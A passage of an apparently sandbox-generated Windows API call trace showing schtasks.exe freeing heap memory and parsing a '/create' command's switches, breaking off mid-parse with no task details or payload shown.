returned 0x150000 [0126.965] GetProcessHeap () returned 0x150000 [0126.965] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc30) returned 1 [0126.965] GetProcessHeap () returned 0x150000 [0126.965] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc30) returned 0x20 [0126.965] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc30 | out: hHeap=0x150000) returned 1 [0126.965] GetProcessHeap () returned 0x150000 [0126.965] GetProcessHeap () returned 0x150000 [0126.965] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c250) returned 1 [0126.965] GetProcessHeap () returned 0x150000 [0126.965] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c250) returned 0x8 [0126.965] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c250 | out: hHeap=0x150000) returned 1 [0126.965] GetProcessHeap () returned 0x150000 [0126.965] GetProcessHeap () returned 0x150000 [0126.965] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc60) returned 1 [0126.965] GetProcessHeap () returned 0x150000 [0126.966] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc60) returned 0x20 [0126.966] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc60 | out: hHeap=0x150000) returned 1 [0126.966] GetProcessHeap () returned 0x150000 [0126.966] GetProcessHeap () returned 0x150000 [0126.966] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4c0) returned 1 [0126.966] GetProcessHeap () returned 0x150000 [0126.966] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d4c0) returned 0xe [0126.966] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4c0 | out: hHeap=0x150000) returned 1 [0126.966] GetProcessHeap () returned 0x150000 [0126.966] GetProcessHeap () returned 0x150000 [0126.966] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc90) returned 1 [0126.966] GetProcessHeap () returned 0x150000 [0126.966] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc90) returned 0x20 [0126.967] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc90 | out: hHeap=0x150000) returned 1 [0126.967] GetProcessHeap () returned 0x150000 [0126.967] GetProcessHeap () returned 0x150000 [0126.967] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16dc90) returned 1 [0126.967] GetProcessHeap () returned 0x150000 [0126.967] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16dc90) returned 0x8 [0126.967] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16dc90 | out: hHeap=0x150000) returned 1 [0126.967] GetProcessHeap () returned 0x150000 [0126.967] GetProcessHeap () returned 0x150000 [0126.967] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccc0) returned 1 [0126.967] GetProcessHeap () returned 0x150000 [0126.967] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ccc0) returned 0x20 [0126.967] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccc0 | out: hHeap=0x150000) returned 1 [0126.968] GetProcessHeap () returned 0x150000 [0126.968] GetProcessHeap () returned 0x150000 [0126.968] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16dcb0) returned 1 [0126.968] GetProcessHeap () returned 0x150000 [0126.968] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16dcb0) returned 0x6 [0126.968] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16dcb0 | out: hHeap=0x150000) returned 1 [0126.968] GetProcessHeap () returned 0x150000 [0126.968] GetProcessHeap () returned 0x150000 [0126.968] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccf0) returned 1 [0126.968] GetProcessHeap () returned 0x150000 [0126.968] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ccf0) returned 0x20 [0126.968] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccf0 | out: hHeap=0x150000) returned 1 [0126.969] GetProcessHeap () returned 0x150000 [0126.969] GetProcessHeap () returned 0x150000 [0126.969] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16dcd0) returned 1 [0126.969] GetProcessHeap () returned 0x150000 [0126.969] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16dcd0) returned 0x8 [0126.969] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16dcd0 | out: hHeap=0x150000) returned 1 [0126.969] GetProcessHeap () returned 0x150000 [0126.969] GetProcessHeap () returned 0x150000 [0126.969] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd20) returned 1 [0126.969] GetProcessHeap () returned 0x150000 [0126.969] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cd20) returned 0x20 [0126.969] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd20 | out: hHeap=0x150000) returned 1 [0126.969] GetProcessHeap () returned 0x150000 [0126.969] GetProcessHeap () returned 0x150000 [0126.969] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16dd60) returned 1 [0126.969] GetProcessHeap () returned 0x150000 [0126.969] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16dd60) returned 0x60 [0126.970] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16dd60 | out: hHeap=0x150000) returned 1 [0126.970] GetProcessHeap () returned 0x150000 [0126.970] GetProcessHeap () returned 0x150000 [0126.970] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd50) returned 1 [0126.970] GetProcessHeap () returned 0x150000 [0126.970] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cd50) returned 0x20 [0126.970] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd50 | out: hHeap=0x150000) returned 1 [0126.970] GetProcessHeap () returned 0x150000 [0126.970] GetProcessHeap () returned 0x150000 [0126.970] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ddd0) returned 1 [0126.970] GetProcessHeap () returned 0x150000 [0126.970] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ddd0) returned 0x6 [0126.971] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ddd0 | out: hHeap=0x150000) returned 1 [0126.971] GetProcessHeap () returned 0x150000 [0126.971] GetProcessHeap () returned 0x150000 [0126.971] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd80) returned 1 [0126.971] GetProcessHeap () returned 0x150000 [0126.971] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cd80) returned 0x20 [0126.971] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd80 | out: hHeap=0x150000) returned 1 [0126.971] GetProcessHeap () returned 0x150000 [0126.971] GetProcessHeap () returned 0x150000 [0126.971] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16b990) returned 1 [0126.971] GetProcessHeap () returned 0x150000 [0126.971] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16b990) returned 0x18 [0126.971] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16b990 | out: hHeap=0x150000) returned 1 [0127.022] SetLastError (dwErrCode=0x0) [0127.022] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0127.022] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0127.022] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0127.022] VerifyVersionInfoW (in: lpVersionInformation=0x13c7f0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13c7f0) returned 1 [0127.022] SetLastError (dwErrCode=0x0) [0127.022] lstrlenW (lpString="create") returned 6 [0127.022] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0127.022] SetLastError (dwErrCode=0x490) [0127.022] SetLastError (dwErrCode=0x0) [0127.022] lstrlenW (lpString="create") returned 6 [0127.022] GetProcessHeap () returned 0x150000 [0127.022] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cd80 [0127.022] GetProcessHeap () returned 0x150000 [0127.022] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16d4c0 [0127.022] _memicmp (_Buf1=0x16d4c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.022] GetProcessHeap () returned 0x150000 [0127.023] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x16) returned 0x16d540 [0127.023] SetLastError (dwErrCode=0x0) [0127.023] _memicmp (_Buf1=0x16ba50, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.023] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x16bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0127.023] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0127.023] GetProcessHeap () returned 0x150000 [0127.023] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x74e) returned 0x16dd60 [0127.024] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x16dd60 | out: lpData=0x16dd60) returned 1 [0127.024] VerQueryValueW (in: pBlock=0x16dd60, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13c8d8, puLen=0x13c940 | out: lplpBuffer=0x13c8d8*=0x16e0fc, puLen=0x13c940) returned 1 [0127.024] _memicmp (_Buf1=0x16ba50, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.024] _vsnwprintf (in: _Buffer=0x16bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13c8b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0127.024] VerQueryValueW (in: pBlock=0x16dd60, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13c948, puLen=0x13c938 | out: lplpBuffer=0x13c948*=0x16df28, puLen=0x13c938) returned 1 [0127.024] lstrlenW (lpString="schtasks.exe") returned 12 [0127.024] lstrlenW (lpString="schtasks.exe") returned 12 [0127.024] lstrlenW (lpString=".EXE") returned 4 [0127.024] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0127.024] lstrlenW (lpString="schtasks.exe") returned 12 [0127.024] lstrlenW (lpString=".EXE") returned 4 [0127.024] lstrlenW (lpString="schtasks") returned 8 [0127.024] lstrlenW (lpString="/create") returned 7 [0127.024] _memicmp (_Buf1=0x16ba50, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.025] _vsnwprintf (in: _Buffer=0x16bbf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x13c8b8 | out: _Buffer="schtasks /create") returned 16 [0127.025] _memicmp (_Buf1=0x16ba70, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.025] GetProcessHeap () returned 0x150000 [0127.025] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cd50 [0127.025] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.025] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0127.025] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0127.025] GetProcessHeap () returned 0x150000 [0127.025] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x30) returned 0x167a90 [0127.025] _vsnwprintf (in: _Buffer=0x16bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13c8b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0127.025] GetProcessHeap () returned 0x150000 [0127.025] GetProcessHeap () returned 0x150000 [0127.025] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16dd60) returned 1 [0127.025] GetProcessHeap () returned 0x150000 [0127.025] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16dd60) returned 0x74e [0127.025] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16dd60 | out: hHeap=0x150000) returned 1 [0127.026] SetLastError (dwErrCode=0x0) [0127.026] GetThreadLocale () returned 0x409 [0127.026] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.026] lstrlenW (lpString="create") returned 6 [0127.026] GetThreadLocale () returned 0x409 [0127.026] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.026] lstrlenW (lpString="?") returned 1 [0127.026] GetThreadLocale () returned 0x409 [0127.026] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.026] lstrlenW (lpString="s") returned 1 [0127.026] GetThreadLocale () returned 0x409 [0127.026] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.026] lstrlenW (lpString="u") returned 1 [0127.026] GetThreadLocale () returned 0x409 [0127.026] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.026] lstrlenW (lpString="p") returned 1 [0127.026] GetThreadLocale () returned 0x409 [0127.026] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.026] lstrlenW (lpString="ru") returned 2 [0127.026] GetThreadLocale () returned 0x409 [0127.026] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.026] lstrlenW (lpString="rp") returned 2 [0127.026] GetThreadLocale () returned 0x409 [0127.026] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.026] lstrlenW (lpString="sc") returned 2 [0127.026] GetThreadLocale () returned 0x409 [0127.026] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.026] lstrlenW (lpString="mo") returned 2 [0127.026] GetThreadLocale () returned 0x409 [0127.026] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.027] lstrlenW (lpString="d") returned 1 [0127.027] GetThreadLocale () returned 0x409 [0127.027] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.027] lstrlenW (lpString="m") returned 1 [0127.027] GetThreadLocale () returned 0x409 [0127.027] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.027] lstrlenW (lpString="i") returned 1 [0127.027] GetThreadLocale () returned 0x409 [0127.027] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.027] lstrlenW (lpString="tn") returned 2 [0127.027] GetThreadLocale () returned 0x409 [0127.027] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.027] lstrlenW (lpString="tr") returned 2 [0127.027] GetThreadLocale () returned 0x409 [0127.027] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.027] lstrlenW (lpString="st") returned 2 [0127.027] GetThreadLocale () returned 0x409 [0127.027] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.027] lstrlenW (lpString="sd") returned 2 [0127.027] GetThreadLocale () returned 0x409 [0127.027] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.027] lstrlenW (lpString="ed") returned 2 [0127.027] GetThreadLocale () returned 0x409 [0127.027] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.027] lstrlenW (lpString="it") returned 2 [0127.027] GetThreadLocale () returned 0x409 [0127.027] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.027] lstrlenW (lpString="et") returned 2 [0127.027] GetThreadLocale () returned 0x409 [0127.027] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.028] lstrlenW (lpString="k") returned 1 [0127.028] GetThreadLocale () returned 0x409 [0127.028] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.028] lstrlenW (lpString="du") returned 2 [0127.028] GetThreadLocale () returned 0x409 [0127.028] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.028] lstrlenW (lpString="ri") returned 2 [0127.028] GetThreadLocale () returned 0x409 [0127.028] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.028] lstrlenW (lpString="z") returned 1 [0127.028] GetThreadLocale () returned 0x409 [0127.028] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.028] lstrlenW (lpString="f") returned 1 [0127.028] GetThreadLocale () returned 0x409 [0127.028] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.028] lstrlenW (lpString="v1") returned 2 [0127.028] GetThreadLocale () returned 0x409 [0127.028] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.028] lstrlenW (lpString="xml") returned 3 [0127.028] GetThreadLocale () returned 0x409 [0127.028] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.028] lstrlenW (lpString="ec") returned 2 [0127.028] GetThreadLocale () returned 0x409 [0127.028] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.028] lstrlenW (lpString="rl") returned 2 [0127.028] GetThreadLocale () returned 0x409 [0127.028] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.028] lstrlenW (lpString="delay") returned 5 [0127.028] GetThreadLocale () returned 0x409 [0127.029] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.029] lstrlenW (lpString="np") returned 2 [0127.029] SetLastError (dwErrCode=0x0) [0127.029] SetLastError (dwErrCode=0x0) [0127.029] lstrlenW (lpString="/create") returned 7 [0127.029] lstrlenW (lpString="-/") returned 2 [0127.029] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.029] lstrlenW (lpString="create") returned 6 [0127.029] lstrlenW (lpString="create") returned 6 [0127.029] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.029] lstrlenW (lpString="create") returned 6 [0127.029] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.029] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|create|") returned 8 [0127.029] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|create|") returned 8 [0127.029] lstrlenW (lpString="|create|") returned 8 [0127.029] lstrlenW (lpString="|create|") returned 8 [0127.029] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0127.029] SetLastError (dwErrCode=0x0) [0127.029] SetLastError (dwErrCode=0x0) [0127.029] SetLastError (dwErrCode=0x0) [0127.029] lstrlenW (lpString="/tn") returned 3 [0127.029] lstrlenW (lpString="-/") returned 2 [0127.029] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.029] lstrlenW (lpString="create") returned 6 [0127.029] lstrlenW (lpString="create") returned 6 [0127.030] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.030] lstrlenW (lpString="tn") returned 2 [0127.030] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.030] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|create|") returned 8 [0127.030] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.030] lstrlenW (lpString="|create|") returned 8 [0127.030] lstrlenW (lpString="|tn|") returned 4 [0127.030] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0127.030] SetLastError (dwErrCode=0x490) [0127.030] lstrlenW (lpString="?") returned 1 [0127.030] lstrlenW (lpString="?") returned 1 [0127.030] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.030] lstrlenW (lpString="tn") returned 2 [0127.030] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.030] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|?|") returned 3 [0127.030] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.030] lstrlenW (lpString="|?|") returned 3 [0127.030] lstrlenW (lpString="|tn|") returned 4 [0127.030] SetLastError (dwErrCode=0x490) [0127.030] lstrlenW (lpString="s") returned 1 [0127.030] lstrlenW (lpString="s") returned 1 [0127.030] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.030] lstrlenW (lpString="tn") returned 2 [0127.030] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.030] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|s|") returned 3 [0127.030] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.031] lstrlenW (lpString="|s|") returned 3 [0127.031] lstrlenW (lpString="|tn|") returned 4 [0127.031] SetLastError (dwErrCode=0x490) [0127.031] lstrlenW (lpString="u") returned 1 [0127.031] lstrlenW (lpString="u") returned 1 [0127.031] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.031] lstrlenW (lpString="tn") returned 2 [0127.031] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.031] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|u|") returned 3 [0127.031] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.031] lstrlenW (lpString="|u|") returned 3 [0127.031] lstrlenW (lpString="|tn|") returned 4 [0127.031] SetLastError (dwErrCode=0x490) [0127.031] lstrlenW (lpString="p") returned 1 [0127.031] lstrlenW (lpString="p") returned 1 [0127.031] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.031] lstrlenW (lpString="tn") returned 2 [0127.031] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.031] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|p|") returned 3 [0127.031] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.031] lstrlenW (lpString="|p|") returned 3 [0127.031] lstrlenW (lpString="|tn|") returned 4 [0127.031] SetLastError (dwErrCode=0x490) [0127.031] lstrlenW (lpString="ru") returned 2 [0127.031] lstrlenW (lpString="ru") returned 2 [0127.031] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.031] lstrlenW (lpString="tn") returned 2 [0127.032] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.032] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|ru|") returned 4 [0127.032] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.032] lstrlenW (lpString="|ru|") returned 4 [0127.032] lstrlenW (lpString="|tn|") returned 4 [0127.032] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0127.032] SetLastError (dwErrCode=0x490) [0127.032] lstrlenW (lpString="rp") returned 2 [0127.032] lstrlenW (lpString="rp") returned 2 [0127.032] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.032] lstrlenW (lpString="tn") returned 2 [0127.032] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.032] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|rp|") returned 4 [0127.032] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.032] lstrlenW (lpString="|rp|") returned 4 [0127.032] lstrlenW (lpString="|tn|") returned 4 [0127.032] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0127.032] SetLastError (dwErrCode=0x490) [0127.032] lstrlenW (lpString="sc") returned 2 [0127.032] lstrlenW (lpString="sc") returned 2 [0127.032] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.032] lstrlenW (lpString="tn") returned 2 [0127.032] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.032] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.032] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.032] lstrlenW (lpString="|sc|") returned 4 [0127.033] lstrlenW (lpString="|tn|") returned 4 [0127.033] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0127.033] SetLastError (dwErrCode=0x490) [0127.033] lstrlenW (lpString="mo") returned 2 [0127.033] lstrlenW (lpString="mo") returned 2 [0127.033] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.033] lstrlenW (lpString="tn") returned 2 [0127.033] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.033] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.033] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.033] lstrlenW (lpString="|mo|") returned 4 [0127.033] lstrlenW (lpString="|tn|") returned 4 